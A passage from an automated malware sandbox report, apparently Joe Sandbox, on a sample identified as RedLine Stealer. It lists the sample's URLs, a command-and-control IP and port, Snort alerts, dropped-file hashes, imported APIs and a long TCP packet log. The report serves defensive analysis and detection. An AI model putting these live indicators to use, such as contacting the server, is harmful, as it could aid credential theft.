http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	vbc.exe, 00000002.00000002.417573496.0000000006881000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/dk	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	vbc.exe, 00000002.00000003.390714505.0000000007B51000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423848849.0000000007AC9000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000003.390651387.0000000007B34000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.423731875.0000000007AAC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT	vbc.exe, 00000002.00000002.417803969.00000000068DE000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
195.2.79.103	unknown	Russian Federation		48282	VDSINA-ASRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	736297
Start date and time:	2022-11-02 19:51:11 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	hy4iXHZVJ4.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/2@0/1
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 99.2% (good quality ratio 90.8%) Quality average: 76.3% Quality standard deviation: 27.7%
HCA Information:	Successful, ratio: 84% Number of executed functions: 93 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, conhost.exe
Execution Graph export aborted for target vbc.exe, PID 104032 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:52:45	API Interceptor	73x Sleep call for process: vbc.exe modified

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	5.3192079301865585
Encrypted:	false
SSDEEP:	48:MOfHK5HKXAHKhBHKdHKB1AHKzvQTHmYHKhQnoPtHoxHImHK1HjHKx1qH5HZHxLHu:vq5qXAqLqdqUqzcGYqhQnoPtIxHbq1DS
MD5:	A796F53FCC60D6A2350536458884C7EC
SHA1:	D8B1D166513E66B0400DD6CEA34CDFDC2C759161
SHA-256:	D182CF4E69CBB6F15E6207B916319A2B45B86399C5D74E52D1E80E789FEA790D
SHA-512:	4892E0D58B78A4DA93AAAA17BCFA8508D7560ED04B52925071712D9E2AB60C2A2C3E0EFE293FDB64FC10ED60B19B98E45F0A50F037A1D8DDB022BFBB55AE19A1
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\hy4iXHZVJ4.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:PlTEn:hEn
MD5:	58895EA9D9E8D5A076E0F3093CEE1D0A
SHA1:	14911256088C002EAA717258E9D784D0899E6CC6
SHA-256:	568A89D4B85721A0D2E62B1DD744125FFE0A10127420FB6468FAFC7E529754D3
SHA-512:	CDF6EC11986CDD9F05C71AFBD66E124D01B6834E695BA17C1BB0B851AE0E2FBD8826102D67A77438376BC6789D815D6FB8DBC06703C11156FEA84BFBDD855C6C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	136527654

CloseHandle, CreateSemaphoreW, CreateThread, DeleteCriticalSection, EnterCriticalSection, FreeConsole, FreeLibrary, GetCurrentProcess, GetCurrentProcessId, GetCurrentProcessorNumber, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, MultiByteToWideChar, QueryPerformanceCounter, ReleaseSemaphore, SetLastError, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, VirtualProtect, VirtualQuery, WaitForSingleObject, WideCharToMultiByte

msvcrt.dll

___mb_cur_max_func, __doserrno, __getmainargs, __initenv, __lconv_init, __p__acmdln, __p__fmode, __pioinfo, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _errno, _fdopen, _filelengthi64, _fileno, _fileno, _fstat64, _initterm, _iob, _lseeki64, _onexit, _read, _strnicmp, _write, _write, abort, atoi, calloc, exit, fclose, fflush, fgetpos, fopen, fprintf, fputc, fputs, fread, free, fsetpos, fwrite, getc, getwc, isspace, iswctype, localeconv, malloc, memchr, memcmp, memcpy, memmove, memset, putc, putwc, realloc, setlocale, setvbuf, signal, sprintf, strchr, strcmp, strcoll, strerror, strftime, strlen, strncmp, strtoul, strxfrm, towlower, towupper, ungetc, ungetwc, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.4195.2.79.10349696290712850027 11/02/22-19:52:36.446226	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49696	29071	192.168.2.4	195.2.79.103
195.2.79.103192.168.2.429071496962850353 11/02/22-19:52:38.292480	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	29071	49696	195.2.79.103	192.168.2.4
192.168.2.4195.2.79.10349696290712850286 11/02/22-19:52:40.467455	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49696	29071	192.168.2.4	195.2.79.103

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 2, 2022 19:52:35.995333910 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:36.057955027 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:36.058094978 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:36.446225882 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:36.509449959 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:36.624015093 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:38.228732109 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:38.292479992 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:38.436991930 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:40.467454910 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:40.535130978 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:40.535182953 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:40.535219908 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:40.535249949 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:40.535269022 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:40.535288095 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:40.535321951 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:40.535342932 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.087268114 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.150099993 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.150176048 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.150209904 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.150391102 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.150513887 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.212843895 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.212887049 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.212934971 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.213037014 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.213100910 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.213103056 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.213200092 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.213356972 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.213542938 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.213557959 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.213701963 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.213737011 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.213851929 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.213953018 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.213985920 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.214083910 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.214157104 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.275576115 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275631905 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275690079 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275719881 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275749922 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275769949 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275801897 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275815964 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.275971889 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.275985956 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.275986910 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.276009083 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276132107 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276164055 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276251078 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276282072 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276312113 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276392937 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276424885 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.276607037 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.276680946 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.339329958 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339349031 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339360952 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339370012 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339382887 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339396954 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339410067 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339422941 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339436054 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339448929 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339461088 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339476109 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339488983 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339632988 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.339664936 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.340212107 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.340548038 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.340941906 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.341072083 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.341346025 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.341715097 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.341734886 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.341810942 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.341978073 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.341995955 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.342097044 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.342225075 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.342324018 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.342451096 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.342577934 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.342705965 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.342869997 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343028069 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343136072 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343153954 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343257904 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343425989 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343444109 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343599081 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343616009 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343633890 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343652010 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.343669891 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.402482033 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.402956009 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.403049946 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.403131962 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403529882 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403543949 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403899908 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403913021 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403928041 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403942108 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403955936 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.403969049 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.404350996 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.404365063 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.404378891 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.404392004 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.404406071 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.404419899 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.404433966 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.405045986 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.405075073 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.405088902 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.405102015 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.405112028 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.405122042 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.405575991 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.405674934 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.466662884 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467010975 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467027903 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467091084 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467107058 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467257977 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467272043 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467392921 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467407942 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467466116 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467572927 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467586040 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467888117 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.467945099 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.468463898 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.468537092 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469141006 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469156027 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469242096 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469335079 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.469491959 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469599009 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.469773054 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469866037 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469881058 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.469890118 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.470005989 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.470016003 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.470181942 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.470555067 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.470637083 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.470652103 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.470719099 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.471295118 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.471760035 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.471976042 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.533373117 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.533607960 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.533710957 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.533768892 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.533926964 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.533960104 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.533989906 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534020901 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534049988 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534080029 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534606934 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534652948 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534682035 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534712076 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534742117 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.534995079 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.535089970 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.535669088 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.535701036 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.536092997 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.536222935 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.536302090 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.536319017 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.536958933 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.537786007 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.537821054 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.537851095 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.538441896 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.538516045 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.539047956 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.539237022 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.598995924 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.599025965 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.609009981 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.612869024 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.617564917 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.619237900 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.619396925 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.621938944 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.624317884 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.628205061 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.628365040 CET	49696	29071	192.168.2.4	195.2.79.103
Nov 2, 2022 19:52:57.682039976 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682070017 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682089090 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682107925 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682166100 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682240963 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682322979 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682527065 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682547092 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682565928 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682584047 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682601929 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682650089 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682759047 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682806969 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682910919 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682931900 CET	29071	49696	195.2.79.103	192.168.2.4
Nov 2, 2022 19:52:57.682950020 CET	29071	49696	195.2.79.103	192.168.2.4
